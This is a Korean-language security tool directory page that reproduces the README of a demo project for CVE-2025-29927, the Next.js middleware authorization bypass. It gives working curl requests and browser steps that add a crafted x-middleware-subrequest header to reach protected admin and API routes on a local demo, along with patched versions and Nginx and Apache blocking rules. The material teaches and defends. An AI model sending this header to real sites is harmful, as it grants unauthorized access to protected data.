Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
nextjs-cve-demo — Next.js의 Middleware 권한 부여 우회 취약점(CVE-2025-29927)을 시연하여, 인증되지 않은 사용자가 보호된 정보에 접근할 수 있게 합니다. | Kitploit
도구/GitHubGitHub/lstudlo/nextjs-cve-demo
Authentication & AuthorizationVulnerability AnalysisWeb Application ExploitationAPI Security TestingMisconfigurationLearning & Education
GitHublstudlo/nextjs-cve-demo

nextjs-cve-demo

Next.js의 Middleware 권한 부여 우회 취약점(CVE-2025-29927)을 시연하여, 인증되지 않은 사용자가 보호된 정보에 접근할 수 있게 합니다.

저장소 보기
21년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

예시: Next.js 미들웨어 권한 우회 (CVE-2025-29927)

이 Repo는 Next.js의 미들웨어 권한 우회 취약점(CVE-2025-29927)을 시연하는 예제 프로젝트를 제공합니다. 이 취약점으로 인해 인증되지 않은 사용자가 보호된 리소스에 접근할 수 있습니다.

취약점 개요

CVE-2025-29927은 Next.js의 미들웨어 시스템에 영향을 미치는 심각한 보안 취약점(CVSS 점수: 9.1)입니다. 공격자는 HTTP 요청에 특수하게 조작된 x-middleware-subrequest 헤더를 추가하여 미들웨어의 보안 검사를 완전히 우회할 수 있습니다.

영향을 받는 버전

  • Next.js 11.1.4 ~ 13.5.6
  • Next.js 14.2.25 미만의 14.x 버전
  • Next.js 15.2.3 미만의 15.x 버전

취약점 영향

  • 권한 우회: 공격자는 인증 없이 보호된 경로(예: /admin)에 접근할 수 있습니다
  • API 보안 우회: 보호된 API 엔드포인트(예: /api/confidential)에 접근할 수 있습니다
  • 보안 헤더 우회: CSP, HSTS 등 보안 헤더가 미들웨어에서 설정된 경우에도 우회됩니다

사전 준비

  1. Node.js와 npm이 설치되어 있어야 합니다
  2. cd로 폴더에 들어가 npm install을 실행하여 dependencies를 설치합니다
  3. npm run dev를 실행하여 Next.js 개발 서버를 시작합니다
  4. 브라우저에서 http://localhost:3000을 열면 현재 웹사이트 화면을 볼 수 있습니다

취약점 원리 이해하기

Next.js는 미들웨어의 재귀 호출로 인한 무한 루프를 방지하기 위해 내부 헤더 x-middleware-subrequest를 사용합니다. 그러나 이 헤더는 외부 요청에 의해 악용될 수 있습니다. 요청에 이 헤더가 포함되어 최대 재귀 깊이(MAX_RECURSION_DEPTH)에 도달하면 Next.js는 미들웨어 실행을 완전히 건너뜁니다.

취약점 재현 방법

1단계: 보호된 경로에 정상적으로 접근(차단됨)

먼저 보호된 경로에 정상적으로 접근해 봅니다:

root@kitploit:~
# 訪問受保護的管理員頁面
curl http://localhost:3000/admin/dashboard -v

예상 결과: 로그인 페이지로 리디렉션됩니다(302 redirect to /login)

root@kitploit:~
# 訪問受保護的 API
curl http://localhost:3000/api/confidential -v

예상 결과: 401 Unauthorized 오류가 반환됩니다

2단계: 취약점을 사용하여 미들웨어 우회

이제 특수하게 조작된 헤더를 사용하여 미들웨어를 우회합니다:

root@kitploit:~
# 繞過 /admin 路徑保護
curl http://localhost:3000/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

예상 결과: 관리자 페이지 콘텐츠에 성공적으로 접근합니다(200 OK)

root@kitploit:~
# 繞過 /api/confidential 保護
curl http://localhost:3000/api/confidential \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

예상 결과: API에 성공적으로 접근하여 기밀 정보를 획득합니다(200 OK)

3단계: 브라우저로 테스트

브라우저의 개발자 도구를 사용하여 테스트할 수도 있습니다:

  1. 브라우저 개발자 도구를 엽니다(F12)
  2. Network 탭으로 전환합니다
  3. ModHeader 확장 프로그램 또는 유사한 도구를 사용하여 헤더를 추가합니다:
    • Header Name: x-middleware-subrequest
    • Header Value: middleware:middleware:middleware:middleware:middleware
  4. http://localhost:3000/admin/dashboard에 접속합니다
  5. 리디렉션되지 않고 관리자 페이지 콘텐츠가 표시되는 것을 확인할 수 있습니다

취약점 설명

미들웨어가 x-middleware-subrequest 헤더가 포함된 요청을 수신하면:

  1. Next.js는 이를 내부 재귀 호출로 간주합니다
  2. 헤더 값에 middleware 마커가 충분히 포함된 경우(5회 반복), MAX_RECURSION_DEPTH 제한이 트리거됩니다
  3. 무한 루프를 방지하기 위해 Next.js는 미들웨어 실행을 완전히 건너뜁니다
  4. 요청은 모든 보안 검사를 우회하여 대상 라우트에 직접 도달합니다

수정 방법

1. Next.js 버전 업그레이드

패치된 버전으로 업그레이드합니다:

  • 12.x: 12.3.5 이상으로 업그레이드
  • 13.x: 13.5.9 이상으로 업그레이드
  • 14.x: 14.2.25 이상으로 업그레이드
  • 15.x: 15.2.3 이상으로 업그레이드

2. 임시 완화 조치

즉시 업그레이드할 수 없다면 리버스 프록시(Nginx, Apache 등) 수준에서 x-middleware-subrequest 헤더가 포함된 요청을 차단할 수 있습니다:

Nginx 구성 예시:

root@kitploit:~
location / {
    if ($http_x_middleware_subrequest) {
        return 403;
    }
    proxy_pass http://localhost:3000;
}

Apache 구성 예시:

root@kitploit:~
RequestHeader unset x-middleware-subrequest

3. 심층 방어

미들웨어 외에도 라우트 핸들러에서 인증 검사를 구현합니다:

root@kitploit:~
// 在 API 路由中添加額外的認證檢查
export async function GET(request) {
    // 不要只依賴 middleware,在這裡也檢查認證
    if (!isAuthenticated(request)) {
        return new Response('Unauthorized', { status: 401 });
    }
    // ... 處理請求
}

참고 자료

  • Next.js 보안 권고 (GHSA-f82v-jwr5-mffw)
  • CVE-2025-29927 상세 정보
  • Next.js 미들웨어 문서
도구 다운로드